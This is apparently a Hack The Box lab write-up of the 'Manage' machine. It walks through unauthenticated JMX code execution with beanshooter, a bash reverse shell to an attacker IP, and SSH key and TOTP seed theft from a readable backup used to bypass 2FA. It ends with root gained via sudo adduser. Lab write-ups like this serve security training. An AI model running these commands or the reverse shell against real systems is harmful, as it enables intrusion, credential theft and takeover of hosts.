HACK THE BOX · PENETRATION TEST REPORT

MANAGE

Unauthenticated JMX to Root — A Backup, a TOTP Seed and a Name

★ ☆ ☆ ☆ **EASY**

7
EXPLOIT STAGES

0
CVES CHAINED

ROOT
FINAL ACCESS

Leandro Ancona
Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and Service Discovery

03 Clearing the Tomcat Surface

04 Unauthenticated JMX to RCE

05 User Flag

06 tomcat to useradmin (Backup + TOTP)

07 useradmin to Root via sudo adduser

08 Chain Summary and Conclusions

01

Executive Summary

Manage is an Easy-rated Linux machine where the loud service (Tomcat) is a dead end and the real foothold is an unauthenticated Java JMX/RMI registry on a non-standard port, abused with `beanshooter` for code execution. A world-readable backup archive then leaks both an SSH key and a Google Authenticator TOTP seed — defeating 2FA entirely — and a constrained `sudo adduser` creates an `admin` user that inherits full sudo through a legacy Ubuntu rule.

Attack chain overview

1. Reconnaissance: SSH, JMX/RMI on 2222, Tomcat 10.1.19 on 8080.
2. Tomcat ruled out (403s, no `PUT`).
3. `beanshooter` deploys a TonkaBean over unauthenticated JMX → RCE as `tomcat`.
4. User flag read from `/opt/tomcat`.
5. World-readable backup leaks `useradmin`'s SSH key and TOTP seed.
6. SSH as `useradmin` (key + `oathtool` code) — user access.
7. `sudo adduser admin` → legacy `admin`-group sudoers → root flag.

02

Reconnaissance and Service Discovery

```
nmap -sC -sV -oN nmap_sCsV.txt <TARGET_IP>
```

```
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
2222/tcp open  java-rmi  Java RMI
| rmi-dumpregistry:  jmxrmi  javax.management.remote.rmi.RMIServerImpl_Stub
8080/tcp open  http     Apache Tomcat 10.1.19
```

● Key observation

Three surfaces: SSH, Java RMI with a `jmxrmi` registry on 2222, and Tomcat on 8080. The JMX-RMI + Tomcat pairing is a classic — an unauthenticated JMX registry usually leads to direct RCE via a malicious MBean.

03

Clearing the Tomcat Surface

Rule the web app in or out first. The managed apps are locked down, and the default servlet is read-only:

```
for p in manager/html host-manager/html examples/ docs/; do
  curl -s -o /dev/null -w "$p %{http_code}\n" http://<TARGET_IP>:8080/$p; done
# all 403
curl -s -i -X OPTIONS http://<TARGET_IP>:8080/
# Allow: GET, HEAD, POST, OPTIONS
```

⚠ Dead end

`PUT` is not allowed, so CVE-2025-24813 (writable default servlet) is out. One decisive data point beats a string of blind attempts — the web surface is a dead end; the foothold is the JMX service.

04

Unauthenticated JMX to RCE

⚠ Vulnerability confirmed

An unauthenticated JMX registry lets a remote client register a malicious MBean. `jmxterm` hangs silently here (modern-Java / RMI double-hop issues), so `beanshooter`'s TonkaBean MLet — which serves its own stager — is used instead.

```
java -jar beanshooter.jar enum <TARGET_IP> 2222        # no authentication required
java -jar beanshooter.jar tonka deploy <TARGET_IP> 2222
java -jar beanshooter.jar tonka exec <TARGET_IP> 2222 "id"
```

```
[+] Server response:
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

Upgrade to a reverse shell (port 4444 was held by the stager, so 4445):

```
nc -lvnp 4445
java -jar beanshooter.jar tonka exec <TARGET_IP> 2222 \
  "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1'"
```

05

User Flag

Tomcat's home on this box is `/opt/tomcat`, not `/home/tomcat`:

```
cat /opt/tomcat/user.txt
```

USER FLAG

<REDACTED>

06

tomcat to useradmin (Backup + TOTP)

A world-readable backup in another user's home — list before extracting:

```
cp /home/useradmin/backups/backup.tar.gz /tmp/ && tar -tvf /tmp/backup.tar.gz
```

```
-rw-------  useradmin  ./.ssh/id_ed25519
-r--------  useradmin  ./.google_authenticator
```

⚠ Pitfall

Extracting straight into `/tmp` fails on the sticky bit (`tar: .: Cannot utime`); extract into a sub-directory you own.

```
mkdir -p /tmp/extract && cd /tmp/extract && tar -xf ../backup.tar.gz
cat .ssh/id_ed25519            # -----BEGIN OPENSSH PRIVATE KEY----- (useradmin)
cat .google_authenticator      # <REDACTED-base32-seed>  " TOTP_AUTH ...
```

● Key observation

SSH here needs **two factors** (`publickey,keyboard-interactive`): the key *and* a live TOTP code. A TOTP seed in a readable file defeats the whole second factor — `oathtool` reproduces the exact code the server expects. Generate it **on Kali**, not in the remote shell, and connect immediately (it expires in ~30s):

```
oathtool --totp -b '<REDACTED-base32-seed>'       # e.g. 736335
ssh -i useradmin_id_ed25519 useradmin@<TARGET_IP>
# Verification code: <code>
```

07

useradmin to Root via sudo adduser

```
sudo -l
```

```
(ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
```

⚠ Vulnerability confirmed

`useradmin` can run `adduser` as root, limited to a single alphanumeric username. That is still enough — create a user named exactly `admin`. Ubuntu ships a legacy sudoers rule granting `(ALL) ALL` to the `admin` group, and `adduser admin` creates both the user and that group.

```
sudo /usr/sbin/adduser admin        # set a password, e.g. test1234
su admin
sudo -l                             # User admin may run ... (ALL) ALL
sudo su
id                                  # uid=0(root)
cat /root/root.txt
```

ROOT FLAG

<REDACTED>

08

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap	JMX/RMI (2222), Tomcat (8080)
2	Surface clearing	Tomcat 403s, no `PUT`	Web ruled out
3	Initial access	`beanshooter` TonkaBean (unauth JMX)	RCE as `tomcat`
4	User access	`/opt/tomcat/user.txt`	User flag
5	Lateral movement	World-readable backup (key + TOTP)	`useradmin` via SSH 2FA
6	Privilege escalation	`sudo adduser admin`	Root flag

Closing thoughts

Manage is a lesson in enumerating every port's protocol: Tomcat drew the eye and was a dead end, while the unauthenticated JMX on 2222 was the foothold. The escalation hinges on reading what a permitted command can *create*, not just what it does — a constrained `sudo adduser` only allowed a bare name, but `admin` is exactly the name that triggers Ubuntu's legacy group-sudo rule. And a readable backup can leak the second factor: a TOTP seed in a file makes 2FA pointless.

Key takeaways

- The loud service is not always the door — enumerate every port's protocol.
- Match the tool to the stack; `jmxterm` hung, `beanshooter` worked.
- A readable backup can leak the second factor — `oathtool` reproduces TOTP codes.
- Read what a permitted command can *create* — `admin` triggers the legacy group-sudo rule.
- Close dead ends with one decisive test (`OPTIONS` ruling out `PUT`).

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.